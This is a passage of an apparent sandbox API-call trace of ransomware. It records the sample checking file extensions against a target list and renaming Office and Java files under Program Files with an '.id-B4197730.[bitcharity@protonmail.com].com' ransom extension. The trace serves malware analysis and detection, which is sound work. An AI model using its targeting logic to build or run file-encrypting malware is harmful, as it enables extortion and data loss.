lpString2="r.dll") returned -1 [0243.801] lstrlenW (lpString=".pdf") returned 4 [0243.801] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString=".xls") returned 4 [0243.801] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString=".xlsx") returned 5 [0243.801] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0243.801] lstrlenW (lpString=".ppt") returned 4 [0243.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.801] lstrlenW (lpString=".zip") returned 4 [0243.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString=".rar") returned 4 [0243.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString=".bz2") returned 4 [0243.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.801] lstrlenW (lpString=".7z") returned 3 [0243.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.801] lstrlenW (lpString=".dbf") returned 4 [0243.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.801] lstrlenW (lpString=".1cd") returned 4 [0243.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.801] lstrlenW (lpString=".jpg") returned 4 [0243.802] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.802] lstrlenW (lpString=".doc") returned 4 [0243.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString=".docx") returned 5 [0243.802] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0243.802] lstrlenW (lpString=".pdf") returned 4 [0243.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString=".xls") returned 4 [0243.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString=".xlsx") returned 5 [0243.802] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0243.802] lstrlenW (lpString=".ppt") returned 4 [0243.802] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.802] lstrlenW (lpString=".zip") returned 4 [0243.802] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString=".rar") returned 4 [0243.802] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.802] lstrlenW (lpString=".bz2") returned 4 [0243.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.802] lstrlenW (lpString=".7z") returned 3 [0243.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.802] lstrlenW (lpString=".dbf") returned 4 [0243.803] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.803] lstrlenW (lpString=".1cd") returned 4 [0243.803] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.803] lstrlenW (lpString=".jpg") returned 4 [0243.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.803] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.803] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1164 [0243.825] GetFileSizeEx (in: hFile=0x1164, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=9728) returned 1 [0243.825] CloseHandle (hObject=0x1164) returned 1 [0243.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0243.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.825] lstrlenW (lpString=".doc") returned 4 [0243.825] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.825] lstrlenW (lpString=".docx") returned 5 [0243.825] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.825] lstrlenW (lpString=".pdf") returned 4 [0243.825] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.826] lstrlenW (lpString=".xls") returned 4 [0243.826] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.826] lstrlenW (lpString=".xlsx") returned 5 [0243.826] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.826] lstrlenW (lpString=".ppt") returned 4 [0243.826] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString=".zip") returned 4 [0243.826] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.826] lstrlenW (lpString=".rar") returned 4 [0243.826] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.826] lstrlenW (lpString=".bz2") returned 4 [0243.826] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString=".7z") returned 3 [0243.826] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString=".dbf") returned 4 [0243.826] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString=".1cd") returned 4 [0243.826] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString=".jpg") returned 4 [0243.826] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.826] lstrlenW (lpString=".doc") returned 4 [0243.827] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString=".docx") returned 5 [0243.827] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.827] lstrlenW (lpString=".pdf") returned 4 [0243.827] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.827] lstrlenW (lpString=".xls") returned 4 [0243.827] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.827] lstrlenW (lpString=".xlsx") returned 5 [0243.827] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.827] lstrlenW (lpString=".ppt") returned 4 [0243.827] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.827] lstrlenW (lpString=".zip") returned 4 [0243.827] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.827] lstrlenW (lpString=".rar") returned 4 [0243.827] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.827] lstrlenW (lpString=".bz2") returned 4 [0243.827] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString=".7z") returned 3 [0243.827] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.827] lstrlenW (lpString=".dbf") returned 4 [0243.827] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.827] lstrlenW (lpString=".1cd") returned 4 [0243.827] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0243.827] lstrlenW (lpString=".jpg") returned 4 [0243.828] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.828] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.828] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0243.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0243.950] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=8704) returned 1 [0243.971] CloseHandle (hObject=0x1168) returned 1 [0243.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0243.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.972] lstrlenW (lpString=".doc") returned 4 [0243.972] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.972] lstrlenW (lpString=".docx") returned 5 [0243.972] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0243.972] lstrlenW (lpString=".pdf") returned 4 [0243.972] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.972] lstrlenW (lpString=".xls") returned 4 [0243.972] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.972] lstrlenW (lpString=".xlsx") returned 5 [0243.972] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0243.972] lstrlenW (lpString=".ppt") returned 4 [0243.972] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.972] lstrlenW (lpString=".zip") returned 4 [0243.972] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.972] lstrlenW (lpString=".rar") returned 4 [0243.972] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.972] lstrlenW (lpString=".bz2") returned 4 [0243.972] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.972] lstrlenW (lpString=".7z") returned 3 [0243.972] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.972] lstrlenW (lpString=".dbf") returned 4 [0243.972] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.973] lstrlenW (lpString=".1cd") returned 4 [0243.973] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.973] lstrlenW (lpString=".jpg") returned 4 [0243.973] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.973] lstrlenW (lpString=".doc") returned 4 [0243.973] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.973] lstrlenW (lpString=".docx") returned 5 [0243.973] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0243.973] lstrlenW (lpString=".pdf") returned 4 [0243.973] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.973] lstrlenW (lpString=".xls") returned 4 [0243.973] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.973] lstrlenW (lpString=".xlsx") returned 5 [0243.973] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0243.973] lstrlenW (lpString=".ppt") returned 4 [0243.973] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.973] lstrlenW (lpString=".zip") returned 4 [0243.973] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.973] lstrlenW (lpString=".rar") returned 4 [0243.973] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.974] lstrlenW (lpString=".bz2") returned 4 [0243.974] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.974] lstrlenW (lpString=".7z") returned 3 [0243.974] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.974] lstrlenW (lpString=".dbf") returned 4 [0243.974] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.974] lstrlenW (lpString=".1cd") returned 4 [0243.974] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0243.974] lstrlenW (lpString=".jpg") returned 4 [0243.974] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.974] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.974] lstrlenW (lpString="micaut.dll.mui") returned 14 [0243.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1170 [0244.002] GetFileSizeEx (in: hFile=0x1170, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=9216) returned 1 [0244.002] CloseHandle (hObject=0x1170) returned 1 [0244.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0244.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0244.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0244.003] lstrlenW (lpString=".doc") returned 4 [0244.003] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.003] lstrlenW (lpString=".docx") returned 5 [0244.003] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.003] lstrlenW (lpString=".pdf") returned 4 [0244.003] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.003] lstrlenW (lpString=".xls") returned 4 [0244.003] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.003] lstrlenW (lpString=".xlsx") returned 5 [0244.003] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.003] lstrlenW (lpString=".ppt") returned 4 [0244.003] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0244.003] lstrlenW (lpString=".zip") returned 4 [0244.003] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.003] lstrlenW (lpString=".rar") returned 4 [0244.003] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.003] lstrlenW (lpString=".bz2") returned 4 [0244.003] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.003] lstrlenW (lpString=".7z") returned 3 [0244.003] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0244.003] lstrlenW (lpString=".dbf") returned 4 [0244.003] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.985] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=8809536) returned 1 [0244.985] CloseHandle (hObject=0x1198) returned 1 [0244.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0244.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0246.573] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.573] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.817] CloseHandle (hObject=0x11e8) returned 1 [0247.020] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.020] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.020] CloseHandle (hObject=0x1178) returned 1 [0247.024] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.024] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.024] CloseHandle (hObject=0x1178) returned 1 [0247.025] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.025] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.026] CloseHandle (hObject=0x1178) returned 1 [0247.027] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.027] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.027] CloseHandle (hObject=0x1178) returned 1 [0247.028] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.028] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 